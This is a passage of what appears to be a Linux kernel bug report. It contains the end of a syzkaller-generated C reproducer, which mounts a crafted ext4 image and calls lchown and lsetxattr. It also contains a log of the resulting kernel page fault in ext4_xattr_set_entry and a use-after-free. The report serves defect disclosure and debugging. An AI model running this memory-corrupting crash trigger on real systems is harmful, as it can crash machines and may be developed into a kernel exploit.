{"/proc/sys/kernel/kptr_restrict", "0"},
{"/proc/sys/kernel/softlockup_all_cpu_backtrace", "1"},
{"/proc/sys/fs/mount-max", "100"},
{"/proc/sys/vm/oom_dump_tasks", "0"},
{"/proc/sys/debug/exception-trace", "0"},
{"/proc/sys/kernel/printk", "7 4 1 3"},
{"/proc/sys/kernel/keys/gc_delay", "1"},
{"/proc/sys/vm/oom_kill_allocating_task", "1"},
{"/proc/sys/kernel/ctrl-alt-del", "0"},
{"/proc/sys/kernel/cad_pid", tmppid},
};
for (size_t i = 0; i < sizeof(files) / sizeof(files[0]); i++) {
if (!write_file(files[i].name, files[i].data)) {
}
}
kill(cad_pid, SIGKILL);
while (waitpid(cad_pid, NULL, 0) != cad_pid)
;
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void execute_one(void)
{
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {
}
int i, call, thread;
for (call = 0; call < 3; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
event_timedwait(&th->done, 50 + (call == 0 ? 4000 : 0));
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter = 0;
for (;; iter++) {
char cwdbuf[32];
sprintf(cwdbuf, "./%d", iter);
if (mkdir(cwdbuf, 0777))
exit(1);
reset_loop();
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
if (chdir(cwdbuf))
exit(1);
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
sleep_ms(10);
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
if (current_time_ms() - start < 5000)
continue;
kill_and_wait(pid, &status);
break;
}
remove_dir(cwdbuf);
}
}
void execute_call(int call)
{
switch (call) {
case 0:
// syz_mount_image$ext4 arguments: [
// fs: ptr[in, buffer] {
// buffer: {65 78 74 34 00} (length 0x5)
// }
// dir: ptr[in, buffer] {
// buffer: {2e 2f 66 69 6c 65 31 00} (length 0x8)
// }
// flags: mount_flags = 0x0 (8 bytes)
// opts: ptr[in, fs_options[ext4_options]] {
// fs_options[ext4_options] {
// elems: array[fs_opt_elem[ext4_options]] {
// fs_opt_elem[ext4_options] {
// elem: union ext4_options {
// norecovery: buffer: {6e 6f 72 65 63 6f 76 65 72 79} (length
// 0xa)
// }
// comma: const = 0x2c (1 bytes)
// }
// fs_opt_elem[ext4_options] {
// elem: union ext4_options {
// debug_want_extra_isize: fs_opt["debug_want_extra_isize",
// fmt[hex, int32]] {
// name: buffer: {64 65 62 75 67 5f 77 61 6e 74 5f 65 78 74
// 72 61 5f 69 73 69 7a 65} (length 0x16) eq: const = 0x3d (1
// bytes) val: int32 = 0x3e (18 bytes)
// }
// }
// comma: const = 0x2c (1 bytes)
// }
// }
// common: array[fs_opt_elem[fs_options_common]] {
// }
// null: const = 0x0 (1 bytes)
// }
// }
// chdir: int8 = 0x1 (1 bytes)
// size: len = 0x603 (8 bytes)
// img: ptr[in, buffer] {
// buffer: (compressed buffer with length 0x603)
// }
// ]
// returns fd_dir
NONFAILING(memcpy((void*)0x200000000600, "ext4\000", 5));
NONFAILING(memcpy((void*)0x200000000640, "./file1\000", 8));
NONFAILING(memcpy((void*)0x200000000080, "norecovery", 10));
NONFAILING(*(uint8_t*)0x20000000008a = 0x2c);
NONFAILING(memcpy((void*)0x20000000008b, "debug_want_extra_isize", 22));
NONFAILING(*(uint8_t*)0x2000000000a1 = 0x3d);
NONFAILING(sprintf((char*)0x2000000000a2, "0x%016llx", (long long)0x3e));
NONFAILING(*(uint8_t*)0x2000000000b4 = 0x2c);
NONFAILING(*(uint8_t*)0x2000000000b5 = 0);
NONFAILING(memcpy(
(void*)0x200000000d80,
"\x78\x9c\xec\xdd\xcd\x6f\x14\xe7\x19\x00\xf0\x67\x66\xb1\xc1\xc6\xad"
"\x41\xf2\xa1\xf4\x52\x57\x3d\x80\x54\x75\xfd\xd5\x0a\xe8\xa5\xa0\xb6"
"\xa7\x16\x41\x69\xd5\x5e\x2a\x51\x17\xd6\x1f\x62\xed\x75\xfd\x21\x61"
"\xf7\x62\x38\x58\xea\xad\x95\x2a\xf5\xd6\x36\x87\x1c\x72\xb3\xf2\x07"
"\x24\x1c\xf2\x07\x24\xb7\x44\x89\x94\x2b\x8a\x84\x88\x42\x0e\x91\x38"
"\x38\x9a\xfd\xb0\x8d\xbd\x1b\x3b\x60\x3c\xd8\xf3\xfb\x49\xe3\x9d\x77"
"\xde\x9d\x7d\xdf\xd9\x67\x9f\xdd\x9d\x17\xde\xd9\x00\x0a\x6b\x30\xfb"
"\x93\x46\x9c\x8b\x88\x2b\x49\x44\xff\xb6\xba\x13\xd1\xac\x1c\x6c\xdc"
"\x6f\x6d\x6c\x7d\x2a\x5b\x92\xd8\x28\xfd\xfe\x49\x12\x49\x44\x2c\x8d"
"\xad\x4f\xb5\xee\x9f\x34\x6f\x4f\x37\x77\xbb\x10\x11\x37\x7f\x1d\x71"
"\xb3\xb4\xbb\xdd\x85\xe5\x95\xbb\xe3\xd5\x6a\x65\xbe\x59\x1e\x5a\x9c"
"\x99\x1b\x5a\x58\x5e\xf9\xc9\xf4\xcc\xf8\x64\x65\xb2\x32\x3b\x76\x69"
"\xe4\xf2\xa5\xb1\x9f\x5d\xbc\x38\x72\x60\xc7\xfa\xbb\x27\x7d\xef\x3f"
"\xfa\xdf\xf5\x81\xb7\x7f\xfa\xdf\x3f\x4f\xfc\xfd\xad\x95\xac\xbf\x7d"
"\xcd\xba\xed\xc7\x71\x50\x06\x63\xb0\xf9\x9c\x74\xc5\x95\x1d\x75\x3b"
"\xcb\x47\x55\xa9\xf9\x3a\x49\xf3\xee\x08\x2f\xa4\x15\xbf\xae\x88\x18"
"\x88\xfe\x28\x35\xb3\x3e\xd3\x1f\xcf\x3e\xc9\xb5\x73\xc0\x2b\xb5\xd1"
"\x1f\xb1\xb1\x53\xf6\xa1\xb5\x6b\xe3\x73\x7a\x5a\xbb\x03\x47\x59\x22"
"\x89\xa1\xa0\x5a\xdf\x03\xb2\xf3\xdf\xd6\x92\xdf\xb7\x11\x0e\xdb\xe3"
"\xab\x8d\x13\xc0\xa5\xe6\xd8\xce\xda\x66\xfc\x4f\x34\xc6\x86\xe2\x54"
"\xbc\x77\x32\xa2\xf7\x69\xb2\xed\xcc\xb0\x31\xd6\x33\x78\x00\xed\x67"
"\x8f\x71\x65\xf0\x4f\xef\x64\x4b\xbc\xa2\x71\x18\x3a\x5b\xbd\x1f\x11"
"\xdf\x6b\x97\xff\x49\x3d\x36\x67\xe2\x54\xbd\xd4\xfb\x34\x7d\x2e\xfe"
"\x69\x44\xdc\x68\xde\x66\xdb\x6f\xbe\x60\xfb\x3b\x5f\x43\xe2\x7f\xb8"
"\x5e\x26\xfe\x7f\xd9\x16\xff\xbf\xbe\x60\xfb\xe2\x0f\x00\x00\x70\x38"
"\x1e\x5e\x8d\x88\xe1\x76\xe7\x7f\xe9\xe6\xf8\x4f\xc4\xee\xf1\x9f\xbe"
"\xc6\x6e\x2f\xcd\xf9\x5f\xbe\x5a\xe3\x7f\x6b\xbb\xc6\xff\xb6\xe2\x5f"
"\x6a\x13\xff\x24\x22\xe6\xf6\xd9\xc6\xf5\x0f\xfe\xf5\xc3\x4e\x75\xdb"
"\xc7\xff\xb2\x25\x6b\xbf\x35\x16\xc8\xab\xf7\xf8\x7e\xc4\xf7\xdb\xc6"
"\x3f\xd9\x8c\x7f\xd2\x26\xfe\x69\x44\xac\xee\xb3\x8d\x8f\xcf\xfe\x67"
"\xa0\x53\x5d\xa7\xf8\xaf\xbc\xd4\x51\xb1\x5f\x1b\x6f\x44\x9c\x8f\xf6"
"\xf1\x6f\x49\xbe\xf9\xff\x67\x0e\x4d\x4c\x57\x2b\xc3\x8d\xbf\x6d\xdb"
"\x78\xf6\xc7\x47\x6f\x76\x6a\x5f\xfe\xe7\x2b\xcb\xff\xde\x0e\xf1\xdf"
"\xeb\xfd\xff\x9f\xfb\x6c\xa3\xfa\x8f\x2f\xfa\x76\x6f\xdd\x7a\xb4\x56"
"\xec\x57\x7f\xf5\x9b\x77\x77\xc7\x3f\xfd\xac\x3b\xf9\x43\xfd\xc5\xd8"
"\xdd\xdc\x72\x6f\x7c\x71\x71\x7e\x24\xa2\x3b\xf9\xed\xee\xed\xa3\xdf"
"\xe6\xe8\x8b\xa7\xf5\x1c\xb5\x9e\xc3\x2c\xfe\x17\x7e\xf4\xac\xf9\xaf"
"\xc1\xed\x3f\xff\xdb\xbd\xff\xf7\x44\xc4\xff\xf7\xd9\xe6\x83\x4f\x7f"
"\xf9\x55\xa7\x3a\xf9\x9f\xaf\x2c\xfe\x77\xf6\xc8\xff\x76\xf1\xcf\xb6"
"\xad\xef\xb3\x8d\xcf\x1f\xfc\xad\xe3\xc7\xf9\xe0\x9e\xf9\x0f\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc7"
"\x47\x5a\xbf\x96\x6f\x92\x96\x37\xd7\xd3\xb4\x5c\x6e\xfc\x86\xf7\x40"
"\xf4\xa6\xd5\xda\xc2\xe2\x8f\x27\x6a\x4b\xb3\x77\x1a\xd7\xfc\x3d\x13"
"\x5d\x69\xeb\x4a\x8f\xfd\x8d\x72\x92\x95\x47\xea\xeb\x5b\xe5\xd1\x1d"
"\xe5\xb1\x88\x38\x1b\x11\xff\x2e\xf5\xd4\xcb\xe5\xdb\xb5\xea\x9d\xbc"
"\x0f\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x5e\x13\xa7\x77\xcc\xff\xff\xb2\xd4\x98\xff\x0f\x14\xc4\x89\xbc\x3b"
"\x00\xe4\x46\xfe\x43\x71\xc9\x7f\x28\x2e\xf9\x0f\xc5\x25\xff\xa1\xb8"
"\xe4\x3f\x14\x97\xfc\x87\xe2\x92\xff\x50\x5c\xf2\x1f\x8a\x4b\xfe\x43"
"\x71\xc9\x7f\x00\x00\x00\x00\x38\x96\x6e\x5c\xbb\x96\x2d\x1b\x6b\x63"
"\xeb\x53\x59\x79\xb6\x36\x39\x7d\x77\x6a\xee\xf2\xe8\x70\x79\x66\xe9"
"\x76\xf9\x76\x6d\x7e\xae\x3c\x59\xab\x4d\xd6\x7f\xb1\x7f\x66\xef\xc7"
"\xab\xd6\x6a\x73\x23\xa3\xb1\x74\x6f\x68\xb1\xb2\xb0\x38\xb4\xb0\xbc"
"\x72\x6b\xa6\xb6\x34\xbb\x78\x6b\x7a\x66\x7c\xb2\x72\xab\xd2\x75\x08"
"\xc7\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x47\xcd\xd9\x1f\x3c\xfc\x28\x89\x88\xd5\x9f\xf7\xd4\x97\x4c\x77\xb3"
"\xce\x5c\x7d\x38\xde\xd2\xbc\x3b\x00\xe4\xa6\x94\x77\x07\x80\xdc\xb8"
"\xf4\x3f\x14\x97\x73\x7c\x20\xd9\xa3\xfe\x54\xa7\x8a\x87\x7b\xed\x09"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x94\xf3\xe7\xcc\xff\x87"
"\xa2\x32\xff\x1f\x8a\xcb\xfc\x7f\x28\x2e\xf3\xff\xa1\xb8\x3a\x9d\xe3"
"\x9f\x3c\xe4\x7e\x00\xf9\x31\xff\x1f\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x5e\x7f\x7d\xf5\x25\x49\xcb\xcd\xb9\xc0\x7d\x91\xa6\xe5\x72"
"\xc4\x77\x22\xe2\x4c\x74\x25\x13\xd3\xd5\xca\x70\x44\x7c\x37\x22\x3e"
"\x2c\x75\x9d\xcc\xca\x23\x79\x77\x1a\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x8e\x99\x85\xe5\x95\xbb\xe3\xd5\x6a\x65"
"\x3e\xd7\x95\x5f\x34\x7b\x93\x73\x37\xac\x58\x79\xad\x56\x4a\x11\x91"
"\x57\xeb\x39\xbf\x31\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x40\x01\x6d\x4d\xfa\xcd\xbb\x27\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x90\x9f\xad\xdf\xff\x3f\x98\x95\xee\x36"
"\x55\x79\x1f\x23\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x51\xf4\x75"
"\x00\x00\x00\xff\xff\x86\xf0\xf3\x59",
1539));
NONFAILING(syz_mount_image(/*fs=*/0x200000000600, /*dir=*/0x200000000640,
/*flags=*/0, /*opts=*/0x200000000080,
/*chdir=*/1, /*size=*/0x603,
/*img=*/0x200000000d80));
break;
case 1:
// lchown arguments: [
// file: ptr[in, buffer] {
// buffer: {2e 2f 66 69 6c 65 31 00} (length 0x8)
// }
// uid: uid (resource)
// gid: gid (resource)
// ]
NONFAILING(memcpy((void*)0x200000001600, "./file1\000", 8));
syscall(__NR_lchown, /*file=*/0x200000001600ul, /*uid=*/0, /*gid=*/0);
break;
case 2:
// lsetxattr$trusted_overlay_upper arguments: [
// path: ptr[in, buffer] {
// buffer: {2e 2f 66 69 6c 65 31 00} (length 0x8)
// }
// name: ptr[in, buffer] {
// buffer: {74 72 75 73 74 65 64 2e 6f 76 65 72 6c 61 79 2e 75 70 70 65
// 72 00} (length 0x16)
// }
// val: ptr[inout, array[ANYUNION]] {
// array[ANYUNION] {
// }
// }
// size: len = 0xe1 (8 bytes)
// flags: setxattr_flags = 0x0 (8 bytes)
// ]
NONFAILING(memcpy((void*)0x200000000700, "./file1\000", 8));
NONFAILING(memcpy((void*)0x200000000740, "trusted.overlay.upper\000", 22));
syscall(__NR_lsetxattr, /*path=*/0x200000000700ul,
/*name=*/0x200000000740ul, /*val=*/0x200000000f40ul,
/*size=*/0xe1ul, /*flags=*/0ul);
break;
}
}
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul,
/*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul,
/*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul,
/*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul,
/*fd=*/(intptr_t)-1, /*offset=*/0ul);
setup_sysctl();
const char* reason;
(void)reason;
install_segv_handler();
use_temporary_dir();
loop();
return 0;
}
[-- Attachment #3: log.txt --]
[-- Type: text/plain, Size: 11409 bytes --]
Syzkaller hit 'BUG: unable to handle kernel paging request in ext4_xattr_set_entry' bug.
EXT4-fs (loop3): unmounting filesystem 00000000-0000-0000-0000-000000000000.
loop3: detected capacity change from 0 to 1024
EXT4-fs (loop3): mounted filesystem 00000000-0000-0000-0000-000000000000 r/w without journal. Quota mode: writeback.
BUG: unable to handle page fault for address: ff1100010f590fe4
#PF: supervisor write access in kernel mode
#PF: error_code(0x0003) - permissions violation
PGD 108c01067 P4D 108c02067 PUD 100175063 PMD 10f58d063 PTE 800000010f590121
Oops: Oops: 0003 [#1] PREEMPT SMP KASAN NOPTI
CPU: 2 UID: 0 PID: 1396 Comm: syz.3.37 Not tainted 6.12.51 #3
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
RIP: 0010:memcpy_orig+0x31/0x140 arch/x86/lib/memcpy_64.S:71
Code: 48 83 fa 20 0f 82 86 00 00 00 40 38 fe 7c 35 48 83 ea 20 48 83 ea 20 4c 8b 06 4c 8b 4e 08 4c 8b 56 10 4c 8b 5e 18 48 8d 76 20 <4c> 89 07 4c 89 4f 08 4c 89 57 10 4c 89 5f 18 48 8d 7f 20 73 d4 83
RSP: 0018:ff110000091cf600 EFLAGS: 00010202
RAX: ff1100010f590fe4 RBX: ff110000091cf870 RCX: ffffffffa3d1f0bb
RDX: 00000000000000a1 RSI: ff1100010907f820 RDI: ff1100010f590fe4
RBP: ff1100010f590fe4 R08: ffc6bb6b7fe35abe R09: 2224ff136a5fe2b6
R10: f5fe0ff5c6d9f6e6 R11: 25b2ffc7db754ec3 R12: ff1100010907f800
R13: ff110000091cf7e0 R14: ff1100010f5910c2 R15: 00000000ffffff22
FS: 00007fcfa1195700(0000) GS:ff1100011b100000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ff1100010f590fe4 CR3: 00000001028de001 CR4: 0000000000771ef0
PKRU: 00000000
Call Trace:
<TASK>
ext4_xattr_set_entry+0x10ba/0x17e0 fs/ext4/xattr.c:1813
ext4_xattr_ibody_set+0x380/0x570 fs/ext4/xattr.c:2283
ext4_xattr_set_handle+0xa16/0x14d0 fs/ext4/xattr.c:2455
ext4_xattr_set+0x1e1/0x3a0 fs/ext4/xattr.c:2569
__vfs_setxattr+0x13e/0x1b0 fs/xattr.c:200
__vfs_setxattr_noperm+0x106/0x5f0 fs/xattr.c:234
__vfs_setxattr_locked+0x1c0/0x260 fs/xattr.c:295
vfs_setxattr+0x12e/0x330 fs/xattr.c:321
do_setxattr+0x134/0x1e0 fs/xattr.c:629
path_setxattr+0x1da/0x220 fs/xattr.c:658
__do_sys_lsetxattr fs/xattr.c:683 [inline]
__se_sys_lsetxattr fs/xattr.c:679 [inline]
__x64_sys_lsetxattr+0xc1/0x160 fs/xattr.c:679
do_syscall_x64 arch/x86/entry/common.c:52 [inline]
do_syscall_64+0xaa/0x1b0 arch/x86/entry/common.c:83
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fcfa13520cd
Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007fcfa1194ba8 EFLAGS: 00000246 ORIG_RAX: 00000000000000bd
RAX: ffffffffffffffda RBX: 00007fcfa15a1fa0 RCX: 00007fcfa13520cd
RDX: 0000200000000f40 RSI: 0000200000000740 RDI: 0000200000000700
RBP: 00007fcfa13d800a R08: 0000000000000000 R09: 0000000000000000
R10: 00000000000000e1 R11: 0000000000000246 R12: 0000000000000000
R13: 00007fcfa15a1fac R14: 00007fcfa15a2038 R15: 00007fcfa1194d40
</TASK>
Modules linked in:
CR2: ff1100010f590fe4
---[ end trace 0000000000000000 ]---
RIP: 0010:memcpy_orig+0x31/0x140 arch/x86/lib/memcpy_64.S:71
Code: 48 83 fa 20 0f 82 86 00 00 00 40 38 fe 7c 35 48 83 ea 20 48 83 ea 20 4c 8b 06 4c 8b 4e 08 4c 8b 56 10 4c 8b 5e 18 48 8d 76 20 <4c> 89 07 4c 89 4f 08 4c 89 57 10 4c 89 5f 18 48 8d 7f 20 73 d4 83
RSP: 0018:ff110000091cf600 EFLAGS: 00010202
RAX: ff1100010f590fe4 RBX: ff110000091cf870 RCX: ffffffffa3d1f0bb
RDX: 00000000000000a1 RSI: ff1100010907f820 RDI: ff1100010f590fe4
RBP: ff1100010f590fe4 R08: ffc6bb6b7fe35abe R09: 2224ff136a5fe2b6
R10: f5fe0ff5c6d9f6e6 R11: 25b2ffc7db754ec3 R12: ff1100010907f800
R13: ff110000091cf7e0 R14: ff1100010f5910c2 R15: 00000000ffffff22
FS: 00007fcfa1195700(0000) GS:ff1100011b100000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ff1100010f590fe4 CR3: 00000001028de001 CR4: 0000000000771ef0
PKRU: 00000000
note: syz.3.37[1396] exited with irqs disabled
EXT4-fs error (device loop3): ext4_validate_block_bitmap:440: comm syz-executor: bg 0: block 169: padding at end of block bitmap is not set
EXT4-fs error (device loop3) in ext4_mb_clear_bb:6545: Corrupt filesystem
==================================================================
BUG: KASAN: slab-use-after-free in owner_on_cpu include/linux/sched.h:2185 [inline]
BUG: KASAN: slab-use-after-free in rwsem_can_spin_on_owner kernel/locking/rwsem.c:723 [inline]
BUG: KASAN: slab-use-after-free in rwsem_down_write_slowpath+0x1064/0x1110 kernel/locking/rwsem.c:1111
Read of size 4 at addr ff1100010a11c5f4 by task syz-executor/859
CPU: 1 UID: 0 PID: 859 Comm: syz-executor Tainted: G D 6.12.51 #3
Tainted: [D]=DIE
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x7d/0xa0 lib/dump_stack.c:120
print_address_description mm/kasan/report.c:377 [inline]
print_report+0xcf/0x610 mm/kasan/report.c:481
kasan_report+0xb5/0xe0 mm/kasan/report.c:594
owner_on_cpu include/linux/sched.h:2185 [inline]
rwsem_can_spin_on_owner kernel/locking/rwsem.c:723 [inline]
rwsem_down_write_slowpath+0x1064/0x1110 kernel/locking/rwsem.c:1111
__down_write_common kernel/locking/rwsem.c:1304 [inline]
__down_write kernel/locking/rwsem.c:1313 [inline]
down_write+0x116/0x130 kernel/locking/rwsem.c:1578
inode_lock include/linux/fs.h:815 [inline]
vfs_unlink+0xcf/0x900 fs/namei.c:4458
do_unlinkat+0x48c/0x660 fs/namei.c:4533
__do_sys_unlink fs/namei.c:4581 [inline]
__se_sys_unlink fs/namei.c:4579 [inline]
__x64_sys_unlink+0x40/0x50 fs/namei.c:4579
do_syscall_x64 arch/x86/entry/common.c:52 [inline]
do_syscall_64+0xaa/0x1b0 arch/x86/entry/common.c:83
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fcfa13516eb
Code: 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa b8 57 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffd12234e78 EFLAGS: 00000206 ORIG_RAX: 0000000000000057
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fcfa13516eb
RDX: 00007ffd12234eb0 RSI: 00007ffd12234eb0 RDI: 00007ffd12234f40
RBP: 00007ffd12234f40 R08: 0000000000000001 R09: 00007ffd12234d00
R10: 00000000fffffffb R11: 0000000000000206 R12: 00007fcfa13d7bb2
R13: 00007ffd12236050 R14: 0000555583064a80 R15: 00007ffd122370c0
</TASK>
Allocated by task 1395:
kasan_save_stack+0x24/0x50 mm/kasan/common.c:47
kasan_save_track+0x14/0x30 mm/kasan/common.c:68
unpoison_slab_object mm/kasan/common.c:319 [inline]
__kasan_slab_alloc+0x59/0x70 mm/kasan/common.c:345
kasan_slab_alloc include/linux/kasan.h:250 [inline]
slab_post_alloc_hook mm/slub.c:4129 [inline]
slab_alloc_node mm/slub.c:4178 [inline]
kmem_cache_alloc_node_noprof+0xe2/0x260 mm/slub.c:4230
alloc_task_struct_node kernel/fork.c:181 [inline]
dup_task_struct kernel/fork.c:1114 [inline]
copy_process+0x3bb/0x6670 kernel/fork.c:2228
kernel_clone+0xc6/0x7a0 kernel/fork.c:2810
__do_sys_clone+0xcf/0x120 kernel/fork.c:2953
do_syscall_x64 arch/x86/entry/common.c:52 [inline]
do_syscall_64+0xaa/0x1b0 arch/x86/entry/common.c:83
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Freed by task 0:
kasan_save_stack+0x24/0x50 mm/kasan/common.c:47
kasan_save_track+0x14/0x30 mm/kasan/common.c:68
kasan_save_free_info+0x3a/0x60 mm/kasan/generic.c:579
poison_slab_object mm/kasan/common.c:247 [inline]
__kasan_slab_free+0x38/0x50 mm/kasan/common.c:264
kasan_slab_free include/linux/kasan.h:233 [inline]
slab_free_hook mm/slub.c:2374 [inline]
slab_free mm/slub.c:4632 [inline]
kmem_cache_free+0x241/0x4d0 mm/slub.c:4734
put_task_struct include/linux/sched/task.h:145 [inline]
delayed_put_task_struct+0x134/0x180 kernel/exit.c:228
rcu_do_batch kernel/rcu/tree.c:2575 [inline]
rcu_core+0x64c/0x1960 kernel/rcu/tree.c:2831
handle_softirqs+0x15f/0x520 kernel/softirq.c:579
__do_softirq kernel/softirq.c:613 [inline]
invoke_softirq kernel/softirq.c:453 [inline]
__irq_exit_rcu kernel/softirq.c:662 [inline]
irq_exit_rcu+0x7f/0xb0 kernel/softirq.c:674
instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1049 [inline]
sysvec_apic_timer_interrupt+0x70/0x80 arch/x86/kernel/apic/apic.c:1049
asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:702
Last potentially related work creation:
kasan_save_stack+0x24/0x50 mm/kasan/common.c:47
__kasan_record_aux_stack+0x8c/0xa0 mm/kasan/generic.c:541
__call_rcu_common.constprop.0+0x73/0x8d0 kernel/rcu/tree.c:3098
put_task_struct_rcu_user+0x60/0xb0 kernel/exit.c:234
finish_task_switch+0x4b1/0x650 kernel/sched/core.c:5252
context_switch kernel/sched/core.c:5346 [inline]
__schedule+0xd69/0x2b80 kernel/sched/core.c:6723
schedule_idle+0x5c/0x90 kernel/sched/core.c:6841
do_idle+0x241/0x3a0 kernel/sched/idle.c:354
cpu_startup_entry+0x4f/0x60 kernel/sched/idle.c:424
start_secondary+0x1bc/0x210 arch/x86/kernel/smpboot.c:314
common_startup_64+0x12c/0x138
The buggy address belongs to the object at ff1100010a11c5c0
which belongs to the cache task_struct of size 5640
The buggy address is located 52 bytes inside of
freed 5640-byte region [ff1100010a11c5c0, ff1100010a11dbc8)
The buggy address belongs to the physical page:
page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10a118
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0x200000000000040(head|node=0|zone=2)
page_type: f5(slab)
raw: 0200000000000040 ff11000100184dc0 ffd4000004510200 0000000000000002
raw: 0000000000000000 0000000000050005 00000001f5000000 0000000000000000
head: 0200000000000040 ff11000100184dc0 ffd4000004510200 0000000000000002
head: 0000000000000000 0000000000050005 00000001f5000000 0000000000000000
head: 0200000000000003 ffd4000004284601 ffffffffffffffff 0000000000000000
